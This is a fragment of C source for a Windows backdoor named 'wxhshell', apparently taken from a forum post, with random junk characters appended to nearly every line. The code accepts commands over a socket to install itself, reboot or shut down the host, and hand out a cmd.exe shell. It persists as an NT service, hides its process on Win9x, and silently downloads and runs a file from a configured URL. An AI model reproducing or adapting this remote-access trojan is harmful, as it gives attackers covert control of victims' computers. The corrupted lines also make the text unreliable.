  else { _"Z?O)d*  
NuSdN> 8ll  
    switch(cmd[0]) { G<=I\T'g;  
  j}tM0Ug.U  
  // 帮助 p"c6d'qe  
  case '?': { dq@ * 8ui  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1 z~|SmP1  
    break; +R L@g*`  
  } K#N9N@WjR  
  // 安装 Q(cLi:)X2  
  case 'i': { _/z_ X  
    if(Install()) :IBP "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \O4s0*gw  
    else ]hS<"=oj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >zDQt7+g;  
    break; CuH4~6  
    } AWi>(wk<  
  // 卸载 c+E\e]{  
  case 'r': { !L8q]]'XM  
    if(Uninstall()) Sir1>YEm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k2$pcR,WM  
    else E0Q6Ryn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QNINn>2  
    break; R6BbkYWrX  
    } Pj]^ p{>  
  // 显示 wxhshell 所在路径 2oEuqHL  
  case 'p': { gm2|`^Xq$  
    char svExeFile[MAX_PATH]; _S7?c^:~  
    strcpy(svExeFile,"\n\r"); @2L^?*n=  
      strcat(svExeFile,ExeFile); R;pW,]}g,  
        send(wsh,svExeFile,strlen(svExeFile),0); 4K'U}W  
    break; g_IcF><F  
    } .:f ao'  
  // 重启 ?8{Os;!je  
  case 'b': { K=HLMDs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W{.:Cf9  
    if(Boot(REBOOT)) ZP!.C&O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3e;|KU   
    else { /KWdIP#  
    closesocket(wsh); Nwt[)\W `  
    ExitThread(0); n}F$kyI  
    } fo+s+Q|Y  
    break; Y @'do)  
    } ]T'8O`  
  // 关机 "i(f+N,)  
  case 'd': { \ t1#5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kJJiDDL0;*  
    if(Boot(SHUTDOWN)) G-2~$ u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q[VQ?b~9  
    else { l"E{ ?4  
    closesocket(wsh); U`=r .>  
    ExitThread(0); j@(S7=^C6%  
    } K"XwSZ/  
    break; 8)eRm{  
    } S$hxR  
  // 获取shell e|~{ X\l  
  case 's': { y>0 @.  
    CmdShell(wsh); "lu^  
    closesocket(wsh); Bo8f52|  
    ExitThread(0); Z(tJd ,  
    break; :*,!gf  
  } ^|.T \  
  // 退出 zO\_^A|8H  
  case 'x': { Bj2iYk_cLa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !{CIP`P1  
    CloseIt(wsh); [[^r;XKQ  
    break; 0@b<?Ms9  
    } $peL1'Evo  
  // 离开 q6$6:L,<  
  case 'q': { { 'A 15  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FT~c|ep.  
    closesocket(wsh); {$[0YRNk u  
    WSACleanup(); .wd7^wI^S  
    exit(1); %A~. NNbS  
    break; (*\&xRY|C  
        } @H$am  
  } GY-4w@Wl  
  } 8aVQW_m}  
#aC&!Rei{  
  // 提示信息 iUh7eR9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D9NRM;v  
}  +qj Z;5(  
  } *!"T^4DEg  
> `eo0  
  return; faLfdUimJ  
} /];N1  
*8a[M{-X  
// shell模块句柄 2i!R>`  
int CmdShell(SOCKET sock) 3=ME$%f  
{ 7mi*#X}  
STARTUPINFO si; ;WN% tI)  
ZeroMemory(&si,sizeof(si)); gsQn@(;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [7DU0Xg7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W3\+51P  
PROCESS_INFORMATION ProcessInfo; A ;`[va  
char cmdline[]="cmd"; CpN*1s})d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XU}i<5  
  return 0; b}7g>  
} ~P,Z@|c4  
n~`jUML2d  
// 自身启动模式 oSMIWwg7G  
int StartFromService(void) F'{T[MA  
{ }.|a0N 5  
typedef struct R6;229e  
{ <LBCu;  
  DWORD ExitStatus; gf9,/m  
  DWORD PebBaseAddress; 4xs>X7  
  DWORD AffinityMask; }W " i{s/  
  DWORD BasePriority; u];\v%b  
  ULONG UniqueProcessId; kH0kf-4\  
  ULONG InheritedFromUniqueProcessId;  nSo.,72  
}   PROCESS_BASIC_INFORMATION; `ZC -lAY  
]nIVP   
PROCNTQSIP NtQueryInformationProcess; olo9YrHn  
/8_x]Es/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p |;#frj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E?K(MT&@  
t x1TtWo  
  HANDLE             hProcess; _pS)bx w  
  PROCESS_BASIC_INFORMATION pbi; gEVoY,}/-U  
E(S$Q^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :Oj!J&A  
  if(NULL == hInst ) return 0; Us&~d"n  
vy5{Vm".4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'g)5vI~'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tff eCaBv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }/NL"0j+4  
:8)3t! A  
  if (!NtQueryInformationProcess) return 0; !C' Y 7  
Gqar5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "$%&C%t  
  if(!hProcess) return 0; 6 ;\>,  
y>UQm|o<W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /WAOpf5  
`a7b,d  
  CloseHandle(hProcess); K^AIqL8  
8.`5"9Vh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hn)^C{RN*{  
if(hProcess==NULL) return 0; &s.-p_4w^D  
r)qow.+&  
HMODULE hMod; $I4J Kh  
char procName[255]; g fv?#mp  
unsigned long cbNeeded; :NwFJc  
P]4u`&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 14-uy.0[  
@DR?^ qp  
  CloseHandle(hProcess); It'PWqZtG  
OOus*ooo2  
if(strstr(procName,"services")) return 1; // 以服务启动 d5LL( "  
[DSzhi]  
  return 0; // 注册表启动 J72kjj&C  
} 8+_e=_3R  
` NvJ  
// 主模块 ''EFh&F  
int StartWxhshell(LPSTR lpCmdLine) J]*?_>"#8  
{ ;ahI}}  
  SOCKET wsl; JHVesX  
BOOL val=TRUE; olDzmy(=W*  
  int port=0; 9qJ:h-?M  
  struct sockaddr_in door; Qo["K}Ty  
a,*|*Cv  
  if(wscfg.ws_autoins) Install(); 3 _DJ  
l(tMo7iPa  
port=atoi(lpCmdLine); DoJ3zYEk  
XlxB%  
if(port<=0) port=wscfg.ws_port; QfU{W@!h  
Kv\uBMJNW  
  WSADATA data; P<xCg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wf$P+i*  
,n{ |d33  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +-:G+9L@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -v WX L  
  door.sin_family = AF_INET; TbR Ee;1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1,G f;mcQ  
  door.sin_port = htons(port); %LdFS~  
]:]w+N%7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f'M7x6W  
closesocket(wsl); 3:P "6mN  
return 1; xOpCybmc  
} X9uYqvP\(  
s\1c.  
  if(listen(wsl,2) == INVALID_SOCKET) { N^tH&\G\m  
closesocket(wsl); 0',-V2  
return 1; h IUO=f  
} [E%Ov0OC  
  Wxhshell(wsl); z 4`H<Pn  
  WSACleanup(); e#uF?v]O  
&f>1/"lnd\  
return 0; _/[(&}M  
w8AHs/'r  
} F1zsGlObu}  
e~BUAz  
// 以NT服务方式启动 OOX}S1lA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q pbzx/2h  
{ Wp$'#HhB  
DWORD   status = 0; wn{DY v7B  
  DWORD   specificError = 0xfffffff; 'St\$X  
m&r?z%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -jsk-,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m3K .\3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6/thhP3`-  
  serviceStatus.dwWin32ExitCode     = 0; 3LD`Ep   
  serviceStatus.dwServiceSpecificExitCode = 0; 6oLq2Z8uP  
  serviceStatus.dwCheckPoint       = 0; y{\K:    
  serviceStatus.dwWaitHint       = 0; ?qjlWCV|e  
!+I!J s"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P"mD 73a  
  if (hServiceStatusHandle==0) return; |b:91l  
$5/lU }To  
status = GetLastError(); FY;R0+N  
  if (status!=NO_ERROR) V2|XcR  
{ $T80vEi+u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u~^d5["T  
    serviceStatus.dwCheckPoint       = 0; 9"~,ha7S$  
    serviceStatus.dwWaitHint       = 0; h wfKgsm  
    serviceStatus.dwWin32ExitCode     = status; Va m4/6  
    serviceStatus.dwServiceSpecificExitCode = specificError; okZDxg`6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U*6)/.J  
    return; -gKo@I  
  } mC(q8%/;  
[8Zvs=1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f"G?#dW/1  
  serviceStatus.dwCheckPoint       = 0; aC2\C=ru_  
  serviceStatus.dwWaitHint       = 0; ,] ,dOIOwn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /"<o""<]  
} !,< )y}L^)  
?5g0#wqI  
// 处理NT服务事件,比如:启动、停止 Jk!*j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I=I'O?w  
{ 1tQl^>r16  
switch(fdwControl) XZFM|=%X  
{ x:)8+Rn}  
case SERVICE_CONTROL_STOP: SBBi"U:  
  serviceStatus.dwWin32ExitCode = 0; Q7$K,7flf;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "R/Xv+;  
  serviceStatus.dwCheckPoint   = 0; k/ 9S  
  serviceStatus.dwWaitHint     = 0; 0 ))W [  
  { +MfdZD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !4f0VQI  
  } l4sFT)}-J  
  return; ;:l\_b'Z}  
case SERVICE_CONTROL_PAUSE: >~sAa+Oxi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >)3[CU,  
  break; 80M"`6  
case SERVICE_CONTROL_CONTINUE: 6U`yf&D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @dzO{)  
  break; AI&Bv  
case SERVICE_CONTROL_INTERROGATE: ED={OZD8  
  break; C&vUZa[p  
}; Q,mmHw.`J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }G#TYF}  
} 3i'L5f67  
Xn'{g  
// 标准应用程序主函数 }qf)L .  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CcZ\QOet&C  
{ lklMdsIdj  
M 8BN'% S  
// 获取操作系统版本 #;32(II  
OsIsNt=GetOsVer(); *L3>:],7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }0P5~]S<5A  
i<*{Z~B  
  // 从命令行安装 xmEmdOoD  
  if(strpbrk(lpCmdLine,"iI")) Install(); #q"^6C 5  
KU> $=Rd  
  // 下载执行文件 <"g ^V  
if(wscfg.ws_downexe) { ;oQ*gd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <d GGH  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1h.N &;vy  
} L)cy&"L|  
pUs s_3  
if(!OsIsNt) { z;_fO>u:  
// 如果时win9x,隐藏进程并且设置为注册表启动 D,rF?t>=S  
HideProc(); w34&m  
StartWxhshell(lpCmdLine); `H5n _km  
} dcgz<m  
else >+w(%;i;  
  if(StartFromService()) ,3t('SE  
  // 以服务方式启动 8()L}@y  
  StartServiceCtrlDispatcher(DispatchTable); s\6kXR  
else .&AS-">Z  
  // 普通方式启动 ~L G).  
  StartWxhshell(lpCmdLine); QGYO{S  
?X1vU0 c  
return 0; uj_ OWre  
}
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只看该作者 1 发表于: 2006-10-10
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